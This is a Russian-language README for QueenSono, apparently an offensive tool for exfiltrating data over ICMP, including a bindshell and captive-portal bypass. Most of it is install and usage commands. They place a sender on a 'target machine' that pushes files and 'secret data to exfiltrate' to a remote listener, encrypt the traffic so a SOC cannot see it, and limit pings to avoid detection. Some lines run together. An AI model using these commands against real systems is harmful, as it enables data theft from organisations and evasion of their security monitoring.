
Бинарный файл Golang для эксфильтрации данных с использованием протокола ICMP (+ ICMP bindshell, туннелирование HTTP через ICMP, ...)
Инструмент QueenSono полагается только на тот факт, что протокол ICMP не мониторится. Это довольно распространено. Он также может быть использован в системе с базовой проверкой ICMP (например, отслеживание частоты и длины содержимого) или для обхода этапа аутентификации через captive portal (используется многими открытыми Wi-Fi для аутентификации пользователей после подключения, например, в аэропорту). Пытается имитировать PyExfil (и другие) с идеей, что на целевой машине не обязательно установлен Python (поэтому предоставление бинарного файла может быть полезным).
Установить
·
Использовать
·
Заметки
·
Запросить функцию
·
🎁
curl> Из релиза
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender
go> Через go install
Убедитесь, что $GOPATH находится в вашем $PATH
Установка qssender
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender #переименовать бинарник
Установка qsreceiver
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #переименовать бинарник
> Установка бинарника из исходного кода
Клонируйте репозиторий и загрузите зависимости локально:
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build
Чтобы собрать отправитель ICMP-пакетов qssender:
build.queensono-sender
Чтобы собрать получатель ICMP-пакетов qsreceiver:
build.queensono-receiver
qssender — это бинарник, который будет отправлять ICMP-пакеты слушателю, поэтому его необходимо перенести на целевую машину.
qsreceiver — это слушатель на вашей локальной машине (или в любом месте, где вы можете получать ICMP-пакеты).
Все команды и флаги бинарников можно найти с помощью --help
> В этом примере мы хотим отправить большой файл и ожидать эхо-ответ для подтверждения получения пакетов (ACK).

На локальной машине:
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
-l 0.0.0.0 слушать на всех интерфейсах ICMP-пакеты
-f received_bible.txt сохранить полученные данные в файл
-p показывать прогресс-бар полученных данных На целевой машине:
$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #загрузка большого файла (для примера)
$ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
send file для отправки файла (bible.txt — сам файл)
-d 2 отправлять пакет каждые 2 секунды
-l 0.0.0.0 адрес прослушивания для эхо-ответа -r 10.0.0.92 адрес моей удаленной машины с прослушивающим qsreceiver-s 50000 размер данных, которые я хочу отправить в каждом пакете> В этом примере мы хотим отправить сообщение без ожидания эхо-ответа (это может быть полезно, если целевой файрвол фильтрует входящие ICMP-пакеты)

На локальной машине:
$ qsreceiver receive truncated 1 -l 0.0.0.0
receive truncated 1 не ждать бесконечно, если мы не получили все пакеты. (1 — задержка, используемая с qssender)echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_allНа целевой машине:
$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
-N опция noreply (не ждать эхо-ответа)
> В этом примере мы хотим отправить зашифрованное сообщение. Поскольку за командной строкой могут следить, мы используем асимметричное шифрование (если ключ утечет, это не проблема).

На локальной машине:
$ qsreceiver receive -l 0.0.0.0 --encrypt
<OUTPUT PUBLIC KEY>
--encrypt использовать обмен шифрованием. Будет сгенерирована пара открытого/закрытого ключа. Открытый ключ будет использоваться qssender для шифрования данных, закрытый — для их расшифровки с помощью receiver
На целевой машине:
$ export MSG="<your message>"
$ export KEY="<public_key_from_qsreceiver_output>"
$ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
--key указать ключ для шифрования данных. Используйте тот, который предоставлен командой qsreceiver
Для сохранения конфиденциальности передаваемых данных используется RSA-шифрование. Это может быть полезно, например, чтобы SOC не видел, какие данные передаются (или для криминалистики) при базовом анализе, или просто для конфиденциальности.
Но это имеет свою цену. Выбор асимметричного шифрования обусловлен тем, что ключ шифрования вводится в командной строке (и его можно легко получить). Поэтому мы шифруем данные с помощью открытого ключа. Таким образом, если кто-то получит ключ шифрования, расшифровать сообщение будет невозможно. Однако открытый ключ меньше закрытого, поэтому он шифрует более короткие сообщения. Также это вычислительно затратно.
Еще один момент: поскольку мы хотим ограничить размер данных/количество ping-запросов (для избежания обнаружения, ошибок и т.д.), используйте шифрование только при необходимости, так как размер вывода сообщения всегда будет (должен) равняться размеру модуля (части ключа), который велик.
В настоящее время все сообщение шифруется, а затем разбивается на части для отправки. На другой стороне мы ждем все пакеты (части), восстанавливаем сообщение и затем расшифровываем его. Но это работает ⇔ мы получили ВСЕ части, иначе расшифровка не удастся.
=> Мы могли бы шифровать каждый фрагмент в соответствии с параметром -s, чтобы расшифровывать их по отдельности.
> В этом примере локальная машина отправляет данные обратно на целевой машине через ICMP-эхо-ответы. Полезно, когда исходящий ICMP с целевой машины фильтруется, но целевая машина может получать эхо-ответы.
На локальной машине:
$ qsreceiver reply-send "secret data to exfiltrate" -l 0.0.0.0 -d 1
reply-send ожидает триггер от qssender, затем отправляет данные обратно в виде ICMP-эхо-ответов
-l 0.0.0.0 слушать на всех интерфейсах триггерный пакет
-d 1 задержка 1 секунда между каждым пакетом ответаНа целевой машине:
$ qssender receive -l 0.0.0.0 -r 10.0.0.92
receive отправляет триггер на qsreceiver и собирает данные из входящих эхо-ответов
-l 0.0.0.0 адрес прослушивания для входящих эхо-ответов
-r 10.0.0.92 адрес моей локальной машины с ожидающим qsreceiver reply-sendQueenSono прозрачно поддерживает ICMPv6. Укажите IPv6-адрес, и протокол определится автоматически — никаких дополнительных флагов не требуется.
На локальной машине:
$ qsreceiver receive -l ::
На целевой машине:
$ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000
-l :: слушать на всех IPv6-интерфейсах
-r fe80::1 IPv6-адрес удаленной машины — автоматически запускает ICMPv6
Все режимы (отправка с подтверждением, без подтверждения, с шифрованием, через эхо-ответы) работают одинаково через IPv6.
Смотрите раздел hack для интересных возможностей с QueenSono:
cap_net_raw